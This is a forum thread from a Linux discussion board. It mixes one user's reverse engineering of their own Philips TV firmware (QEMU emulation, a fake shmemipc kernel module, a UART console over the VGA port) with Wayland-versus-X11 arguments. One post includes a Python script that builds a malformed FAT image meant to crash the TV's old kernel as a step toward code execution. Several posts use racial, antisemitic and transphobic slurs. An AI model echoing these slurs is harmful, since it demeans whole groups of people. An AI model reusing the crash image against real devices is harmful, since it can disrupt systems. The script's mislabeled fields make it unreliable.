The Linux Thread - The Autist's OS of Choice

  • Want to keep track of this thread?
    Accounts can bookmark posts, watch threads for updates, and jump back to where you stopped reading.
    Create account
So thats currently where im at. Ive tried debian and a bunch of others but im deciding what I should use(I have already decided) that can load modules so we can get further and maybe automate my dev environment a bit more.
1764956193600.png
Gotten further with emulating the main tv. so that is good.

Im using a custom module that i whipped up that will emulate the first device shmemipc.
According to ghirda THESE are the codes that I need to look for.
Code:
0x40045302 belongs to shmemipc_raiseInterrupt
0x40045312 belongs to shmemipc_setPagesUncached
0x40045311  belongs to  shmemipc_setPagesCached
0x40045314 belongs to shmemipc_cacheInvalidate
0x40045301 belongs to shmemipc_registerIntHandler
0x40045313 belongs to shmemipc_cacheFlush

ive implemented all of these and while some are very barebones because I cant figure out EXACTLY how it works most of the functions I emulated DO work.
1765047072452.png
Now its able to get alot further!
Ive automated more of my workflow with sh scripts to update my rootfs on the fly and also found a copy of strace for mipsel. Which is a JACKPOT.
Anyways what im really hoping for is that I can get a SSH script from the TV, If I can have a running working version of the TV I can see the layout of dev devices that im trying to implement and also see the typical logs that get sent and also directly poke the phillips app. Which would help greatly in reverse engineering.
The thing is like we talked before this tv has hidden usb network drivers.
Code:
time 6
# If debug build, then spawn the init from debug and let the user
# Mount the pseudo file systems
launch /philips/tools/disableamalive
mount rw proc /proc /proc
mount rw sysfs sysfs /sys
mount rw tmpfs tmpfs /dev/shm
mount rw devpts devpts /dev/pts
#
mount rw jffs2 /dev/mtdblock6 /mnt/jffs0
mount ro jffs2 /dev/mtdblock7 /mnt/jffs1
time 7
echo "Launching tv app"
launch /philips/apps/philips

sleep 7
# Load the generic kernel modules
insmod /philips/modules/usbcore.ko
insmod /philips/modules/ohci-hcd.ko
insmod /philips/modules/ehci-hcd.ko
insmod /philips/modules/usb-storage.ko
#insmod /philips/modules/usbnet.ko
#insmod /philips/modules/mcs7830.ko
#insmod /philips/modules/usbserial.ko
#insmod /philips/modules/ftdi_sio.ko

#insmod /philips/modules/usbnet.ko

This means that this TV most likely supports a USB 2.0 ethernet adapter
1764990779339.png
Well not sure if THAT exact model would work but it should give you a basic idea of what im talking about.
But as you can see its commented out.

So what now?

Well maybe we can find something in the service menus,
if you do not know Sony and most other tv manufactors have service menus where you can change a shit ton of settings. These can be accessed by
1765045342735.png
Here is what it looks like according to some YouTube guy
1765045421829.png
But oh no, I checked the phillips application and yeah there is a service menu which i knew because its on EVERY SINGLE sony tv, but what I feared the most was true, every single keyword I serached for in ghirda related to network, insmod, or anything that might enable these hidden network modules were nowhere to be found.

So I got out the TV just to confirm and as I thought.... No literally nothing related to that was there.

So I guess this is it... Without a running binary and running system to confirm how things work. Emulating this is going to be impossible. I guess its truly over.

Or is it?

The thing is that all this back service port does is mount the USB drive, but that might be enough for us to do a exploit that can allow us to do RCE without no SSHD. I know from the MOTD and common sense its a really old version of linux.
I asked grok for any old exploits that I could use and I was able to find one that COULD theoretically work.

If you guys do not know there is a exploit you can do on OLD linux kernels at the time where you have a Vfat usb be named something extremely long and it will cause a buffer overflow and can be used to do RCE or just straight up crash the system with a OOPS. Now for testing reasons im going to first do the easier thing of making it crash first and see if that works, than ill try doing RCE stuff.
Alright so were going to craft a malformed usb on our computer to put into the TV. Lets start. Oh wait no where are my coding manners? We need to give this a operation name. How about Autistic Ethnostate, that sounds and reflects the people that do and read this stuff(me and you awesome guys)
First lets get a VFAT image
Code:
dd if=/dev/zero of=exploit.img bs=1M count=64  # 64MB image
mkfs.vfat -F 32 -n "EXPLOIT" exploit.img

Alright now I asked grok to generate me a python script because im the laziest piece of shit on the planet and while thats doing its thing lets get the USB,
Now this was previously a .. manjaro usb... oh wow why the hell would I have manjaro usb? Honestly I do not know, its from like 2023 but fuck it should be good enough.
Code:
import struct

# Create a 1MB image file
image_size = 1024 * 1024  # 1MB
with open('bad_fat.img', 'wb') as f:
    f.write(b'\x00' * image_size)

# Boot sector at offset 0 (512 bytes)
boot_sector = bytearray(512)

# Standard FAT12 boot sector header
boot_sector[0:3] = b'\xeb\x3c\x90'  # Jump instruction
boot_sector[3:11] = b'MSDOS5.0 '  # OEM name
boot_sector[11] = 0x20  # Bytes per sector (512, little-endian: 0x0200)
boot_sector[12] = 0x02
boot_sector[13] = 0x01  # Sectors per cluster = 1 (normal, but we'll change)
boot_sector[14:16] = struct.pack('<H', 1)  # Reserved sectors = 1
boot_sector[16] = 0x02  # Number of FATs = 2
boot_sector[17:19] = struct.pack('<H', 224)  # Root dir entries = 224
boot_sector[19] = 0xf0  # Media descriptor = 0xF0
boot_sector[20:22] = struct.pack('<H', 112)  # Sectors per FAT = 112 (normal)
boot_sector[22:24] = struct.pack('<H', 1440)  # Sectors per track = 9*160 = 1440 for floppy-like
boot_sector[24:26] = struct.pack('<H', 2)  # Heads = 2
boot_sector[26:28] = struct.pack('<I', 0)  # Hidden sectors = 0
boot_sector[28:30] = struct.pack('<H', 2880)  # Total sectors = 2880 (1.44MB floppy)

# Now make it malformed:
boot_sector[13] = 0x00  # Sectors per cluster = 0 (invalid, should error)
boot_sector[20] = 0xFF  # Make FAT sectors huge (0xFFFF = 65535, potential overflow with 2 FATs)
boot_sector[21] = 0xFF

# FS info (end of boot sector)
boot_sector[510:512] = b'\x55\xaa'  # Boot signature

with open('bad_fat.img', 'r+b') as f:
    f.write(boot_sector)

# Write FSINFO sector at offset 1 * 512 (reserved)
fsinfo = bytearray(512)
fsinfo[0:4] = b'FSIn'  # FSINFO signature
fsinfo[484:488] = b'FsIn'  # Backup signature
fsinfo[488] = 0xFF  # Free clusters (malformed)
fsinfo[489:492] = b'\xFF\xFF\xFF'
fsinfo[492] = 2  # Next free cluster
fsinfo[493:496] = b'\x00\x00\x02'
fsinfo[510:512] = b'\x00\x00'  # No boot sig for FSINFO
with open('bad_fat.img', 'r+b') as f:
    f.seek(512)
    f.write(fsinfo)

# Write a minimal FAT table at offset 1KB (after reserved)
fat1 = bytearray(512)
fat1[0] = 0xF0  # Media ID
fat1[1] = 0xFF  # End of root dir chain
fat1[3] = 0xFF  # Bad entry to potentially oops on read
with open('bad_fat.img', 'r+b') as f:
    f.seek(1024)
    f.write(fat1)

print("Malformed FAT12 image created: bad_fat.img (1MB)")
1765045724840.png
Oh yeah 😎

Now all I have to do is dd this to a usb, and then insert that USB into the TV. If it shows a OOPS on screen which is doubtful OR if when we plug it in everything freezes we know that we are in luck.
I got it dd'd I got everything we need, there is only ONE thing left.

The final test.... Will it crash the TV. if it does it is vulnerable to RCE

ALRIGHT I have the results here, the final results..
Prepare yourself,..

You feel it don't you.. that anticipation, maybe even your dicks a little hard... Alright so I can say that with 100% confidence that it 100-



1765046618512.png

Did absolutely fucking nothing.
This is the time where I ask you guys for help.

The kernel is a "MontaVista(R) Linux(R) Professional Edition 4.0 (0501140)." and im wanting to know why it did not work.
Here is the main rootfs that it uses that contains the binary and startup script that gets ran.
Here is what im hoping for,
A filesystem you guys can send or make like a vfat or img image that i can DD to a usb and plug in that will crash It. maybe we need more exploits and fuckery, maybe I did not add enough zeors.
 

Attachments

  • 1765046542766.png
    1765046542766.png
    461.4 KB · Views: 14
Last edited:
@ProudSkibidiTolietAryan I genuinely appreciate your tism dumps about all this low-level kernel and boot stuff. The way you break all of this stuff down starting with the first post you made about your experiments makes all this stuff digestible. Like... I can actually say "I understand the theory behind all of this," but in the same breath as "But I'm too much of a chickenshit coward to do what you're doing on my own hardware."
 
@ProudSkibidiTolietAryan I genuinely appreciate your tism dumps about all this low-level kernel and boot stuff. The way you break all of this stuff down starting with the first post you made about your experiments makes all this stuff digestible. Like... I can actually say "I understand the theory behind all of this," but in the same breath as "But I'm too much of a chickenshit coward to do what you're doing on my own hardware."
Thanks. The good news about this is that I don't have to do anything like open up the TV hardware, I found the dump for my TV online,
the most I did was plug in that USB. What I was fearing and heard was that the TV might think that the thing plugged in is a software update and try to flash the tv with the USB.

As for it being autistic, yeah I have no argument there it very much is. However its not the TV thats important its the knowledge you learn from it and experience. To me its like solving a puzzle, it requires thinking, theorizing experimenting that makes it fun to me.

BUT I have some things planned, ill give you a hint its about the VGA port. And you won't believe what someone whose extremely good at electrical engineering helped me find on there. Ive found a breakthrough.
 
Last edited:
it either does hdmi or is a data port, like RS-232 or USB
Pretty much im working on the next post and trying to add pictures and explain it but in the meantime ill give the non well explained explaination. Pretty much the VGA is not just a VGA port but also a UART that when connecting 3 pins in a order to a usb adapter or rasberry pi allows you to see terminal output like a serial console and give it terminal commands.
 
Only a couple of days after Prodie WayTroontson coped and misrepresented Jewduke's recent X11 VS Wayland polls on Twitter, he decides to cave and finally make a video with another condescending but predictable thumbnail.


Can somebody sacrifice themselves and give me the tldr so I don't have to hear this embarassing nigger speak.
 
Only a couple of days after Prodie WayTroontson coped and misrepresented Jewduke's recent X11 VS Wayland polls on Twitter, he decides to cave and finally make a video with another condescending but predictable thumbnail.


Can somebody sacrifice themselves and give me the tldr so I don't have to hear this embarassing nigger speak.
Use https://tactiq.io/tools/youtube-transcript to grab a transcript of the video. Feed that transcript into ChatGPT and ask it to summarise for you.
 
Cleanup of transcript via Qwen3-Max said:
How many people are actually using Wayland? What percentage of Linux users? This is a question that most people probably don't care about, probably don't think about, and likely don't spend more than five seconds a year even considering. Yet there are diehard users on either side—X11 or Wayland—who are very particular about this number and want to know it exactly, preferably in their favor. Unfortunately, it's a tough question to answer because we lack good long-term data collection on this topic.

When it comes to overall operating system usage, we at least have web metrics. StatCounter, for example, is often cited when discussing Linux market share, currently showing around 3.05%. While imperfect—since it relies on browser-reported data and can be spoofed—it at least offers long-term trends for comparison. The Steam Hardware Survey is another commonly referenced source. Though skewed toward gamers, it's still reasonably representative since many users don’t have secondary machines, and its figures tend to align with other metrics. However, neither of these sources tracks Wayland adoption directly.

One thing worth considering is adding Wayland detection to the Steam Hardware Survey. Given Valve’s interest in Linux, this would be a helpful addition—though arguably overdue, considering how much Wayland adoption has likely already occurred.

Logically, most Linux distributions and desktop environments historically used X11, so one might assume most users are on X11. While it’s true that the majority of installable projects use X11, this is largely because X11 has existed far longer and supports countless niche window managers and desktops. In reality, most Linux users cluster around a small number of major projects. On the distro side, these include Ubuntu, Fedora, Red Hat, and SUSE in the enterprise space, and Debian, openSUSE, Arch Linux, and Gentoo among enthusiasts. Derivatives like Linux Mint, Manjaro, Pop!_OS, Zorin, SteamOS, and NixOS are also widely used. Most of these default to either GNOME or KDE, which are—uncontroversially—the two most popular Linux desktops.

Crucially, both GNOME and KDE now default to Wayland. GNOME will soon stop offering an X11 session entirely, and KDE plans to follow eventually. Other environments like Hyprland (used in distributions like Amaki) are Wayland-only by design. SteamOS currently uses X11 for its desktop mode but runs games through GameScope, a Wayland compositor, and will likely shift fully to Wayland once KDE does. While some distributions offer a wide range of desktop options, the bulk of users stick with the defaults—primarily GNOME or KDE—both of which are now Wayland-first.

That said, Ubuntu LTS—the most widely used Ubuntu version—only began defaulting to Wayland with 24.10, meaning the current LTS (24.04) still defaults to X11. The next LTS, 26.04, will likely be the first major Ubuntu LTS to default to Wayland, though not exclusively.

So what do the actual numbers say? One source is Linux Hardware, which collects data via a tool called Hardware Probe (or HW Probe). This tool is pre-installed on Debian, ArcoLinux, and OpenMandriva—distros of very different popularity levels. Most users who run the tool don’t upload their data, so the dataset is small (under 1,000 systems in recent samples) and heavily skewed. OpenMandriva appears far more frequently than its actual user base would suggest, simply because the tool ships with it by default. Since OpenMandriva uses X11 by default, this inflates X11 numbers in the dataset. Additionally, discrepancies in reported monthly data—like a sudden drop from ~6,000 systems per month to under 1,000—further undermine its reliability.

Another commonly cited source is Firefox telemetry. A 2022 report showed that less than 10% of Firefox Linux users ran Wayland. However, many distributions disable Firefox telemetry by default, and the data is now three years old. With no newer public updates, this metric is increasingly outdated and misleading.

More recent and relevant data comes from KDE’s own telemetry. From late 2022 to late 2024, KDE saw Wayland adoption grow from under 20% to around 45% overall. After KDE Plasma 6 switched to Wayland by default, adoption among Plasma 6 users jumped to roughly 80%. Still, telemetry isn’t enabled by default in most distros, so only users who opt in contribute data. Also, this only reflects KDE users—GNOME and other environments may show different trends.

Finally, YouTube polls from a tech-focused creator show self-reported usage: a poll six months ago (14,000 responses) showed 77% Wayland, 23% Xorg; a recent one (now over 11,000 responses) shows 81% Wayland, 19% Xorg. While this audience likely favors newer technologies like Wayland, it still indicates strong adoption among engaged Linux users.

In summary, no single dataset gives a complete, unbiased picture. Linux Hardware’s sample is too small and skewed. Firefox data is outdated. KDE telemetry is promising but limited to one desktop. Community polls reflect motivated users but aren’t representative of the broader Linux population. What’s missing is a large-scale, opt-in survey like the Steam Hardware Survey that tracks display server usage over time. Until then, while exact percentages remain elusive, the trend clearly points toward increasing Wayland adoption—especially as major desktops and distributions shift their defaults.
 
Only a couple of days after Prodie WayTroontson coped and misrepresented Jewduke's recent X11 VS Wayland polls on Twitter, he decides to cave and finally make a video with another condescending but predictable thumbnail.


Can somebody sacrifice themselves and give me the tldr so I don't have to hear this embarassing nigger speak.
Even on 2x speed it feels glacially slow and can be surmised in two seconds: "No one knows how many people use X vs Wayland, but Wayland is muh new technologee so CLEARLY it is more popular hahahaha i love tranny cock yum yum". Also

> openSUSE

Does anyone actually use openSUSE? Don't think I've ever heard it mentioned outside of an explicitly corpo/enterprise context.
 
Wayland adoption's only increasing because X11 got shunted out of all the big Linux projects from distributions like Fedora and Ubuntu to whole fucking desktop environments like GNOME and KDE. Linux stuff that's making the rounds on normie tech channels like Level1Techs and Gamers Nexus are almost always from the Wayland crowd: Bazzite, Nobara, Omarchy, CachyOS, stuff like that. Obviously, Linux Mint still remains the #1 recommendation. But if someone has the hubris to declare Mint amateur hour and go for something more "current," they'd obviously go for Bazzite or Nobara: shipping with a full Fedora (Atomic) suite with Wayland and either GNOME or KDE.

Hey Brodie: adoption's really fucking easy to increase when you're strong-arming your way to mass adoption by hijacking all the big fucking software projects, asshole.

Does anyone actually use openSUSE? Don't think I've ever heard it mentioned outside of an explicitly corpo/enterprise context.

openSUSE Tumbleweed still exists and is basically their equivalent to a Fedora building into RHEL (i.e. Tumbleweed building into SUSE Leap building into SLES/SLED). There are some major third party repos hosted by SUSE too iirc. It's kinda easy to forget considering how much Novell's takeover and eventual dissolution impacted SUSE's visibility, but they've remained surprisingly resilient! I think they're their own entity now, no longer beholden to Novell or whoever took over Novell's assets and IPs post-dissolution. I remember seeing forum posts on LinuxQuestions from like 2004-2006ish where Linux boomers were bitching about Novell buying out SuSE, the patent deal with Microsoft, and so on and so forth. Kinda hilarious to think that they outlived their corporate overseers.
 
I found a bug in the linux kernel, possibly a security issue. When I run my program it starts to draw random shit on the screen and then the kernel crashes with a corrupted stack.
mind sharing what it is? I'm just curious.
The combo of Rust + WM makes me think its trannyficaiton is inevitable, though it does seem cool at a glance. Uses Smithay instead of wlroots so it can't be that bad no matter what. Wlroots is the true mark of the beast in any Wayland compositor.
It's already the case with Niri. It was basically off the rip. Because it's the only decent wayland compositor that isn't hyprland. And the trannies hate hyprland. A lot of them coped about how sway was good before niri was around. Now they have something that actually competes with hyprland.
The problem is that they're handing the keys to the community to a proprietary vendor who may at a any given time paywall the communication channel, wipe the communication channel, commandeer the communication channel or do whatever other sort of fuckery with it, and there's no recourse to stop it.
There is also something that has an impact on the community, and documentation. If they used a forum, people can benefit from questions people have already answered. On discord you can pretty much guarantee even if something has already been answered once, it's going to get asked again. It also means you can't just find an answer from a search engine like you could on a forum. You have to go onto that platform. If you ask me it's a lot worse than a forum.

If it's just purely as a communication channel. Discord could have a slight benefit for non technical users, that don't even know what irc is. But everything you mentioned are the negatives.
Yeah, good idea to get familiar with the usual git+makepkg flow before using helpers, just so you understand what they're doing. Also, I'm pretty sure yay should ask if you'd like to review PKGBUILD, and then if you want to edit it, but don't quote me on that.
You might be thinking of paru, or another aur helper. I think pikaur also does it. yay does ask some questions but I don't think it shows you the pkgbuild by default. Or maybe it asks if you want to see it. With paru, it always shows you the pkgbuild. which I think is probably for the best. Just give it a quick once over, mostly looking at the source url's and also see if anything else wierd sticks out.
I swear you can dumpster dive and find some old PC's and one of them must have a TB or two in a not too bad condition.
I've definitely gotten some free storage from old computers people were going to throw out. Not even hdd. I've gotten mostly ssd's from old devices that were being thown out.
Sway are made by chudjaks
sway is most definitely NOT made by a chudjak. It's made by one of the biggest faggots alive. Drew Devault.
Can somebody sacrifice themselves and give me the tldr so I don't have to hear this embarassing nigger speak.
I'll probably watch it at some point this week.
Wayland adoption's only increasing because X11 got shunted out of all the big Linux projects from distributions like Fedora and Ubuntu to whole fucking desktop environments like GNOME and KDE.
I don't think that's the only reason. This thread is way over represented by people that have a hatred for wayland. Most people use it, and it just works. And if it works, there isn't any reason, a reasonable person wouldn't use it, and not think about it.
 
I don't think that's the only reason. This thread is way over represented by people that have a hatred for wayland. Most people use it, and it just works. And if it works, there isn't any reason, a reasonable person wouldn't use it, and not think about it.
Yeah I think this honestly sums it up just fine. I get people have issues with Wayland and there are issues with some of its devs not responding to criticism well.

However much like systemd it's a piece of software on your system. Most people run it and it works just fine. For most set ups in the modern day it usually works with little to no alterations.
 
But Wayland doesn't work. I used KDE Plasma when the KDE team silently switched the display server to default to Wayland earlier this year and started requiring X11 be installed via a separate package. Do you know how I found out? Shit immediately started breaking. Dragging didn't work (well). Random things were blurry that weren't before. Things that weren't stuttering before now were. And my multiple monitors were swapped. If I can notice that transition, it doesn't fucking work. If they actually did their job well and made a good competing piece of software, I wouldn't have noticed a single thing, but even the most basic, commonplace usage is different from X11. The only way you can not notice is if your particular vendor did a really good job with the desktop environment and integration with everything; you're tech illiterate (which would track for the average GNOME user); or you're on HRT.

Unlike systemd, it doesn't just work. Most of systemd works for the most part, only breaking in specific cases and with specific components. Chances are good that the average user will never, ever notice, not unless some service breaks and they have to troubleshoot. Systemd has practically succeeded in adoption because, while it does refuse to fix fundamental problems, those problems aren't so surface level that the average joe would notice. But with Wayland, the most basic tasks like right clicking and dragging windows will behave noticeably differently or not work at all. Even when they do work, it's usually because of cludge like xwaylandbridge and others that rely on what actually works: X11.
 
Again I get that Wayland isn't some magic piece of software that is a one size fits all solution. But to pretend that it simply doesn't work at all I feel Is just plain ignorance considering where it was in 2018 compared to now, progress has been made. If Wayland wasn't popular or even in the state you described it not only wouldnt get mainstream adaptation no DE would make the effort to support it. Why would 80% of fedora users be using It if it didn't work? I use Wayland exclusively in my (cachyOS) setup on my rtx 3070 and it's smooth as butter (and that's after using a x11/xwayland session that didn't work). Majority of tasks I do on my system run just fine with little issue(none I'd say in my experience). And I'll argue that's the majority of people who use Wayland.
 
Ran into another Wayland issue yesterday setting up a 24/7 retro weather channel server. Can't get unattended access over KDEs vnc server Krbf at auto start, have to switch to x11 for that to work. Which honestly, if I'm vncing into this server to work a gui app I might as well forward it. Another x11 win.

Literally do not care how many people use Wayland vs X11. "Oh the majority of people are just fine with Wayland" ya and the majority of people are cool with Coldplay's music. Why should I care?
 
Did absolutely fucking nothing.
This is the time where I ask you guys for help.
Alright well its time to theorize on what went wrong.

Searching ghirda in the Phillips binary there is only a few instance of the word Mount and when it comes to USBS the function that prints text saying usb mounted relates to the service menu function.
Now the startup shell script that gets ran DOES insmod(Load a custom module) usbcore so maybe the reason there are so little mount strings and references is because the usbcore module does all the mounting for the application but that is taking alot up to chance.

Maybe there is a usb mount option in the service menu but what I fear most is that maybe the usb only gets mounted on a system update. If so then I am NOT triggering a system update with that USB inserted because if it manages to bypass the quick checks or if it thinks its a valid update than my old TV will be a paperweight and I still use it as a perfect xbox 360 tv when Im doing 7th gen gaming. Ill be honest here im not losing that TV because well have you seen how badly wii games look on a 4k tv, This TV is really important to me because its one of the best ways to play 360 games on.


Our method of dd to a usb, plug in, test with it in while running, test with it in with the power off and then the power on, test with the power physically removed and turned back on, take the usb stick, dd something else on the usb and repeat just is not working.. Without any shell output or way to see whats happening either, Its like being stranded in the ocean on a boat and having to choose which way(method) to go not knowing which way is which, And if you choose wrong you could be going 10s of thousands of miles before you find land. All up to faith which is what I hate the most.
test66.jpg


So I guess this is it... Its over. With nowhere from here.


Or is it....

If you guys do not know UART is a debugging device found on boards that takes 3 pins and sends information like a serial console and debug information. Its found on alot of devices in the means of debugging.
Code:
UART (Universal Asynchronous Receiver/Transmitter) is a hardware protocol and chip for simple, reliable serial communication, converting parallel data into a stream of bits for transmission and back again at the receiving end,
This can allow communication and will send debug logs and shell access.
Now you may be asking where is this UART on this board?? I mean it must be on the tv if im bringing it up. Well thats kinda hard to explain but..... its in the VGA?
1765086409608.png
(its ok if you have NO idea what this means. I suck at electrical engineering to and this looks like jibber babble to)
The VGA is MEANT TO BE REPURPOSED to allow debugging and terminal communication. Its not just in there to connect your PC although it is, its although meant to be used as a debug port. One of the most cursed things ive ever seen. Like using GPIO as a terminal input and output....
This was not figured out by me but by me asking for help and someone else giving me it.

1765086457458.png
That image was provided by someone with gorilla steel balls who unscrewed there tv but the best part here is that WE DONT NEED TO UNSCREW ANYTHING.
AND LOOK HES ABLE TO USE THAT TO COMMUNICATE WITH THE BOARD
1765086512279.png
The VGA cable isnt just used for displaying pictures and PC hookup but its also a secert communication device/terminal that can be used by plugging in GPIO pins in a order.
This means that we do not have to open ANYTHING up, screw in anything or anything like that, all we have to do is get some gpio wires and plug it into the VGA port and then get results.
So I got a rasberry Pi 3... and some GPIO pins... Again those images are not mine. But it means we just hit a breakthrough.

Now i was talking with some friends who know ALOT more than me when it comes to electrical stuff and they told me that for my model TV the GPIO pins would need ot be put in this order.
Code:
11 is TX so connect to raspberry pi RX and 4 is RX so connect to pi TX
and 10 just goes to ground, we only need 3 GPIO wires...
Screenshot From 2025-12-06 15-57-55.png

(EDIT, do not connect the green one to ground, connect it to 3v3 power)
Ill be honest, I was NOT going to and try to unscrew that tv, was not about to that shit. So its great I don't have to do anything like that.

Alright so you got all that. Well now throw it out the window because my rasberry Pi needs to be reflashed and in the meantime im going to be going back to QEMU. But it would be intresting other path. With a terminal output I wonder if I could do some cursed stuff. Like get a alpha version of minecraft and get it running on the TV itself... I mean there is 128mbs of ram in it.. there are videos of people with 256mbs of ram being able to play on large servers on the release versions of minecraft with particle effects and stuff(https://www.youtube.com/watch?v=P1nUBMNbDek). SO a superflat alpha world would 100% be possiable and it would be super cool to see. If anyone has any games you think could run on it let me know and ill try it someday. Oh right emulating this bad boy in QEMU. Forgot about that.


Chapter 2: On the QEMU side

1765086628211.png

Its all so tiring...
łikend-poza-domem.gif


The binary acccess a /dev/ device named /dev/shmemipc
Assuming it means shared memory.
It expects there to be different functions.
For example when 0x40045321 is sent via ioctl. It expects the /dev/ device to know "Alright were setting a protected range now", much like a function.
1765086737025.png
My best way to deal with it?
Make a kernel module that simulates this device and the functions
1765086910455.png
I won't lie to you that I use grok to polish up these scripts and fix whenever I run into a error.
1765086954367.png
its ok if you don't understand this code. The lack of context is the main reason. Don't feel dumb if you cant comprehend this if anything im the dumb one for not explaining it
Ioctl is short for input out control if you do not know. Whenever the program attempts to access the /dev/shmemipc device using ioctl, we intercept it with the kernel module and fill in what its wanting using the arguments it the binary provides to us. The CMD argument being a hex number telling which function to run.
I briefly mentioned this before on the previous post.
Code:
Code:
0x40045302 belongs to shmemipc_raiseInterrupt
0x40045312 belongs to shmemipc_setPagesUncached
0x40045311  belongs to  shmemipc_setPagesCached
0x40045314 belongs to shmemipc_cacheInvalidate
0x40045301 belongs to shmemipc_registerIntHandler
0x40045313 belongs to shmemipc_cacheFlush
Anyways with all that information why is all of this tiring.

Because it just does not work.

Im not sure exactly WHAT is wrong. Were going to get into philosophy here but when it comes to something with such little information you can truely make a explanation for everything. There is no way for us to make a accurate prediction. But if I HAD to guess at gunpoint I think accurately implementing some of these things is the issue,
shmemipc seems to be BARELY used and brought up, like BARELY used in the program, so I think im going to strip the long interrupt code handling and see if I can just return 0.

In the meantime Im 99% sure what line causes the segfault or illegal instruction.
1765088521935.png

The first Set page uncached runs fine,
The second one however appears to cause it to crash.
Now lets look at what set pages uncached DOES. we don't need to understand it fully we just need to see what it does to explain my point.
1765128210207.png
Set pages Uncached runs a init function if the thing appears to be not setup. This Init function starts a interrupt function called shmemipc_interruptFunc and then then sets DAT_01ffb010 which then tells the program from now on not to run this init function again
1765128236946.png
1765128270507.png
1765128285991.png
So if it crashes at the second set pages uncached that means that it should in order be running is
shmemipc_setPagesUncached -> shmemipc_init -> shmemipc_interruptFunc -> finish up first shmemipc_setPagesUncached -> run second shmemipc_setPagesUncached command
Now lets run our program and see if the program executes in that order.
1765128627403.png
When we run the program it appears to GO AGAINST what the very written instructions in the code does and do
shmemipc_setPagesUncached -> shmemipc_setPagesUncached -> shmemipc_init -> shmemipc_interruptFunc
This makes no sense considering that the only way shmemipc_init is called is within setpagesuncached and will always run first because the thing is not set up.
But look what happens when I run it again.
1765128770510.png
shmemipc_setPagesUncached -> shmemipc_setPagesUncached
its inconsistent. Running it sometimes produces a different order in which things are executed despite the code thats being ran being a set in stone basic logic that should follow things in a exact order. So whats happening. How come the order in things SHOULD be executed appears to be random. Well look at how these threads are created in the init function.
1765128910369.png1765128916757.png

Pthread create.... I think I have a outlandish theory that might hold true.
Im running on a modern am4 ryzen processor, a AMD Ryzen 7 5700X. Compared to a slow mipsel processor even when running this program in qemu-system-mipsel its going to be miles faster. I think that this is a timing/race issue. The code is not running as a standard single execution system code1 -> code2 -> code3. but using threads. Some of those threads get finished faster than the other one which causes instability when doing threaded operations like that. Especially since the tvs device is likely a single core device that can only do operations in order.
So when setPagesUncached calls the init function and that init function creates a thread a timing mismatch can happen and setPagesUncached can finish BEFORE the init function finishes.

Sometimes when running it we also just get illegal instruction
1765129218756.png
Our multi threaded ryzen processor its just too fast and causes these issues when doing threaded operations that just do not happen on a super slow single core design cpu that the TV uses from my theory. And it would line up with the inconsistencies that we see.

And that's why I love doing this, it requires theorizing, testing, assembling, decoding, its like the worlds largest puzzle, and much like life it follows the same rules that make it so challenge, Theres no easy one and done solution to things.

So what can we do. We can likely do a LD_PRELOAD and make it wait so that things execute in order. LD_PRELOAD allows custom libarys to be loaded before anyhing else. An example would be "LD_PRELOAD=./libshmemfix.so /philips/apps/philips"

I want to say that this is starting to get to a point to where I understand it might be confusing. Just note that if you have questions or do not understand something its not that you are dumb or inexpeirenced its that I have failed to properly explain it in a way that makes sense as a explainer.
 

Attachments

  • Screenshot From 2025-12-06 15-49-01.png
    Screenshot From 2025-12-06 15-49-01.png
    212.3 KB · Views: 9
  • Screenshot From 2025-12-06 15-47-08.png
    Screenshot From 2025-12-06 15-47-08.png
    615.3 KB · Views: 29
Last edited:
and 10 just goes to ground, we only need 3 GPIO wires...
Screenshot From 2025-12-06 15-57-55.png

(EDIT, do not connect the green one to ground, connect it to 3v3 power)
As someone who has blown up a bunch of hardware. Get an actual USB to TTL adapter, ideally switchable 5v 3.3v using a real FTDI FT232 chip, they're far cheaper to blow up than a Pi, and more tolerant.
The only reason to hook ground to 3.3v would be to blow something up. Luckily pin 10 is not ground but appears to be the control voltage to enable the GPIO pins which probably would be 3.3v. So you'd still need a ground, probably pin 5.
 
Back
Top Bottom